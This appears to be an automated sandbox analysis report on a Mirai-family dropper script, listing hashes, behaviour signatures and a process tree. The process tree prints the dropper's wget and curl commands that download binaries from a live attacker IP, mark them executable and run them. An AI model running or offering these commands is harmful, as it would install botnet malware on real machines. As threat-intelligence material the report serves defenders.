Analysis
-
max time kernel
150s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
23-12-2024 02:25
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240418-en
General
-
Target
ohshit.sh
-
Size
3KB
-
MD5
8cadf8766bc5de0f7f7df9bf000cd0aa
-
SHA1
fa6c2f9c7a20a3c1c6831d859d4b809aadf49567
-
SHA256
c2688b90a1a2a5833e5ae2615d293da746c03c300413e39a14ff40ecc332c7f1
-
SHA512
8859f146c24023b97e34f53eda375ce9a0df64037806c86271d00a596a37097afbb7cfa4ffe1df2d58b4ed252fb048277ae8c3fc304be1551a33541390c8bac2
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1553 chmod 1575 chmod 1635 chmod 1655 chmod 1517 chmod 1533 chmod 1615 chmod 1595 chmod 1605 chmod 1645 chmod 1523 chmod 1543 chmod 1563 chmod 1585 chmod 1625 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Chaotic 1518 Chaotic /tmp/Chaotic 1524 Chaotic /tmp/Chaotic 1534 Chaotic /tmp/Chaotic 1544 Chaotic /tmp/Chaotic 1554 Chaotic /tmp/Chaotic 1564 Chaotic /tmp/Chaotic 1576 Chaotic /tmp/Chaotic 1586 Chaotic /tmp/Chaotic 1596 Chaotic /tmp/Chaotic 1606 Chaotic /tmp/Chaotic 1616 Chaotic /tmp/Chaotic 1626 Chaotic /tmp/Chaotic 1636 Chaotic /tmp/Chaotic 1646 Chaotic /tmp/Chaotic 1656 Chaotic -
Modifies Watchdog functionality 1 TTPs 28 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/misc/watchdog Chaotic File opened for modification /dev/watchdog Chaotic -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 28 IoCs
description ioc Process File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /sbin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic File opened for modification /bin/watchdog Chaotic -
resource yara_rule behavioral1/files/fstream-5.dat upx -
description ioc Process File opened for reading /proc/1125/status Chaotic File opened for reading /proc/176/status Chaotic File opened for reading /proc/1339/status Chaotic File opened for reading /proc/1022/status Chaotic File opened for reading /proc/1080/status Chaotic File opened for reading /proc/1379/status Chaotic File opened for reading /proc/454/status Chaotic File opened for reading /proc/83/status Chaotic File opened for reading /proc/203/status Chaotic File opened for reading /proc/1184/status Chaotic File opened for reading /proc/1581/status Chaotic File opened for reading /proc/1506/status Chaotic File opened for reading /proc/1146/status Chaotic File opened for reading /proc/173/status Chaotic File opened for reading /proc/82/status Chaotic File opened for reading /proc/1537/status Chaotic File opened for reading /proc/1529/status Chaotic File opened for reading /proc/950/status Chaotic File opened for reading /proc/27/status Chaotic File opened for reading /proc/165/status Chaotic File opened for reading /proc/1066/status Chaotic File opened for reading /proc/474/status Chaotic File opened for reading /proc/744/status Chaotic File opened for reading /proc/598/status Chaotic File opened for reading /proc/3/status Chaotic File opened for reading /proc/1036/status Chaotic File opened for reading /proc/480/status Chaotic File opened for reading /proc/1539/status Chaotic File opened for reading /proc/175/status Chaotic File opened for reading /proc/1549/status Chaotic File opened for reading /proc/29/status Chaotic File opened for reading /proc/1549/status Chaotic File opened for reading /proc/34/status Chaotic File opened for reading /proc/84/status Chaotic File opened for reading /proc/598/status Chaotic File opened for reading /proc/23/status Chaotic File opened for reading /proc/542/status Chaotic File opened for reading /proc/474/status Chaotic File opened for reading /proc/1182/status Chaotic File opened for reading /proc/697/status Chaotic File opened for reading /proc/19/status Chaotic File opened for reading /proc/1349/status Chaotic File opened for reading /proc/1507/status Chaotic File opened for reading /proc/171/status Chaotic File opened for reading /proc/598/status Chaotic File opened for reading /proc/573/status Chaotic File opened for reading /proc/443/status Chaotic File opened for reading /proc/115/status Chaotic File opened for reading /proc/8/status Chaotic File opened for reading /proc/160/status Chaotic File opened for reading /proc/17/status Chaotic File opened for reading /proc/169/status Chaotic File opened for reading /proc/985/status Chaotic File opened for reading /proc/20/status Chaotic File opened for reading /proc/1093/status Chaotic File opened for reading /proc/1142/status Chaotic File opened for reading /proc/1036/status Chaotic File opened for reading /proc/473/status Chaotic File opened for reading /proc/473/status Chaotic File opened for reading /proc/81/status Chaotic File opened for reading /proc/1527/status Chaotic File opened for reading /proc/552/status Chaotic File opened for reading /proc/14/status Chaotic File opened for reading /proc/2/status Chaotic -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1550 wget 1551 curl 1560 wget 1561 curl -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm curl File opened for modification /tmp/busybox cp File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.x86_64 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.mpsl curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm5 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm7 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm7 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.m68k curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arc wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.i686 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm5 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.sh4 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.mips curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm6 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm6 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arc curl File opened for modification /tmp/Chaotic ohshit.sh File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.arm wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.mpsl wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.sparc curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.m68k wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.x86 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.x86_64 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.i686 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.mips wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.ppc wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.x86 wget File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.mips64 curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.ppc curl File opened for modification /tmp/ub8ehJSePAfc9FYqZIT6.sh4 wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1509 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:1510
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc2⤵
- Writes file to tmp directory
PID:1511
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc2⤵
- Writes file to tmp directory
PID:1515
-
-
/bin/catcat ub8ehJSePAfc9FYqZIT6.arc2⤵PID:1516
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc2⤵
- File and Directory Permissions Modification
PID:1517
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
PID:1518
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x862⤵
- Writes file to tmp directory
PID:1520
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x862⤵
- Writes file to tmp directory
PID:1521
-
-
/bin/catcat ub8ehJSePAfc9FYqZIT6.x862⤵PID:1522
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x862⤵
- File and Directory Permissions Modification
PID:1523
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1524
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_642⤵
- Writes file to tmp directory
PID:1530
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_642⤵
- Writes file to tmp directory
PID:1531
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1533
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1534
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i6862⤵
- Writes file to tmp directory
PID:1540
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i6862⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1543
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1544
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1550
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1551
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1553
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1554
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips642⤵
- System Network Configuration Discovery
PID:1560
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips642⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1561
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-timedated.service-bikerf ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1563
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1564
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl2⤵
- Writes file to tmp directory
PID:1570
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl2⤵
- Writes file to tmp directory
PID:1573
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1575
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1576
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm2⤵
- Writes file to tmp directory
PID:1582
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm2⤵
- Writes file to tmp directory
PID:1583
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1585
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1586
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm52⤵
- Writes file to tmp directory
PID:1592
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm52⤵
- Writes file to tmp directory
PID:1593
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1595
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1596
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm62⤵
- Writes file to tmp directory
PID:1602
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm62⤵
- Writes file to tmp directory
PID:1603
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1605
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1606
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm72⤵
- Writes file to tmp directory
PID:1612
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm72⤵
- Writes file to tmp directory
PID:1613
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1615
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1616
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc2⤵
- Writes file to tmp directory
PID:1622
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc2⤵
- Writes file to tmp directory
PID:1623
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1625
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1626
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc2⤵PID:1632
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc2⤵
- Writes file to tmp directory
PID:1633
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1635
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1636
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k2⤵
- Writes file to tmp directory
PID:1642
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k2⤵
- Writes file to tmp directory
PID:1643
-
-
/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1645
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1646
-
-
/usr/bin/wgetwget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh42⤵
- Writes file to tmp directory
PID:1652
-
-
/usr/bin/curlcurl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh42⤵
- Writes file to tmp directory
PID:1653
-
-
